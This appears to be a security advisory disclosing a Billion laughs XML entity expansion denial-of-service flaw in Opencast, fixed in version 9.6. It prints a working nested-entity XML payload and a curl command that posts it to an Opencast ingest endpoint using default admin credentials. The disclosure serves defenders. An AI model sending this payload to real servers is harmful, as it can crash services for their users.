Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.
Consider an XML file (createMediaPackage.xml
) like this:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
<!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
<!ELEMENT title (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
<title>&lol5;</title>
<media/>
<metadata/>
<attachments/>
<publications/>
</mediapackage>
Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:
curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
-F 'mediapackage=<createMediaPackage.xml' \
-F sourceFlavors="" \
-F sourceTags="" \
-F deleteExternal="" \
-F tagsAndFlavor='' \
-o out.xml
Additional notes:
The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.
There is no known workaround for this issue.
If you have any questions or comments about this advisory:
{ "nvd_published_at": "2021-06-16T00:15:00Z", "github_reviewed_at": "2021-06-16T20:07:19Z", "severity": "HIGH", "github_reviewed": true, "cwe_ids": [ "CWE-776" ] }